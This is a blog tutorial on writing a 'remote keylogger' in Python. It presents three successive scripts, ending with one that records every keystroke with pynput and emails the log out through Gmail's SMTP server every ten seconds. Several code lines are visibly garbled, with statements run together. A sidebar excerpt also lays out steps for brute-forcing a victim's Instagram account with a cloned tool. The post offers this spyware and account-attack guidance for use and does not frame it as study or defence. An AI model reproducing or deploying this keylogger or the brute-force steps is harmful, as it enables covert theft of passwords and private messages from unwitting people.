Skip to main content

Keylogger using Python



Create Remote KeyLogger using Python

hello everyone we are back with new python program in which we are going to create a remote keylogger for this first we must have to learn what is KeyLogger. 

KeyLogger:

so KeyLogger is a simple software which store every keystrokes by you and store it somewhere and you can access it later anytime when you want to see which key you typed.

Remote KeyLogger:

The only difference between remote keylogger and the keylogger is that user can access the keystrokes only in the same system where the program is running in normal keylogger but in remote keylogger an additional feature is that you can or anyone can access the keystrokes from anywhere.
what remote keylogger actually do is it send the keystrokes file on the server from where anyone can access the keystrokes who has access to the server.

for the video explanation and practical view of how actually a remote keylogger works that we will create on our next blog you can click the link here 


import pynput.keyboard
log = ""

def key_pressed(string):
    global log
    try:
        log = log + str(string.char)
    except AttributeError:
        log = log + str(string)
    print(log)


keyboard_listener = pynput.keyboard.Listener(on_press=key_pressed)
with keyboard_listener:
    keyboard_listener.join()

for the explaination of the code and to learn how this code work visit the link


so after the completion of above code we add a new code for the same where we add some more things in our code for better explanation of all these things you can watch the video here and the code for the video is given below 


import threading
import pynput.keyboard

log = ""

def key_pressed(string):
    global log
    try:
        log = log + str(string.char)
    except AttributeError:
        if string == string.space:
            log = log + " "        elif string == string.backspace:
            log = log + "<--"        else:
            log = log + str(string)


def report():
    global log
    print(log)
    log = ""    timer = threading.Timer(60, report)
    timer.start()


keyboard_listener = pynput.keyboard.Listener(on_press=key_pressed)
with keyboard_listener:
    report()
    keyboard_listener.join()

so the last video is already out you can watch that video here in this video we discussed how to convert our program or keylogger into remote keylogger for better understanding watch the video.

import threading
import smtplib
import pynput.keyboard
log = ""

def key_pressed(string):
    global log
    try:
        log = log + str(string.char)
    except AttributeError:
        if string == string.space:
            log = log + " "        elif string == string.backspace:
            log = log + "<--"        else:
            log = log + str(string)


def report():
    global log, password
    mail("example@gmail.com", "password", log)
    print("mail sent")
    log = ""    timer = threading.Timer(10, report)
    timer.start()


def mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


keyboard_listener = pynput.keyboard.Listener(on_press=key_pressed)
with keyboard_listener:
    report()
    keyboard_listener.join() 

Comments

  1. Bhai ye error aa raha h.

    Keyboard_listener = pynput. Keyboard. Listene(on_press=key_pressed)
    AttributeError: module 'pynput. Keyboard' has no attribute 'listener'

    ReplyDelete

Post a Comment

Popular posts from this blog

Is it worth buying Gautam Kumawat Hacking course

   Is it Worth buying Gautam Kumawat Course    so if you just want answer then i must say no, it is never worth it, if you want to know the reason keep reading. so i am talking here about the course of Gautam Kumawat his ads is currently running on different social media including youtube. Ad showing to join the free webinar on hacking. So when you join the webinar first he introduce himself in the way that you started thinking that he is a great  hacker by introducing his achievements and news articles and many more things. But let me tell you that these things is not very big for a skilled hacker, absolutely he is a great hacker but  we are here to talk about his course.  So after the introduction to the basic hacking and on how and what to learn on hacking he will ask you is you will be able to learn all these things within 45 days. Let me tell you that hacking is so vast that no one will be able to teach you complete hacking in jus...

Instagram Automation

Instagram Automation from selenium import webdriver import time class Instabot: def __init__ ( self , username , password): self .username = username self .password = password self .driver = webdriver.Chrome() self .driver.get( "http://www.instagram.com" ) self .driver.implicitly_wait( 5 ) self .driver.find_element_by_name( "username" ).send_keys(username) self .driver.find_element_by_name( "password" ).send_keys(password) self .driver.find_element_by_xpath( '//*[@id="react-root"]/section/main/article/div[2]/div[1]/div/form/div[4]/button/div' ).click() self .driver.implicitly_wait( 5 ) self .driver.find_element_by_xpath( '/html/body/div[4]/div/div/div[3]/button[2]' ).click() self .driver.get( "https://www.instagram.com" + "/explore/people/" ) dimension = self .driver.get_window_size() ...

Hacking Instagram Using Bruteforce

Hacking Instagram Using Bruteforce Attack so today we will see how can we hack into anyone instagram account so before starting let me tell you that you can also watch video on the same by clicking here on youtube  there everything is explained same as here so lets start. Requirements: PC or Laptop Internet connection kali os or virtual kali a victim in which you will perform hack Steps: first we will open our kali machines terminal and check if you are root or not by typing whoami if it says root then you don't have to follow next step type sudo su and after pressing enter type the password of your kali machine after this type apt-get install tor After the installation complete go to this link  and click on clone or download and copy the text Return to your terminal again and type git clone and then paste the text you just copied After that give time for downloading and when it completes type chmod +x install.sh After this type chmod +x instashell....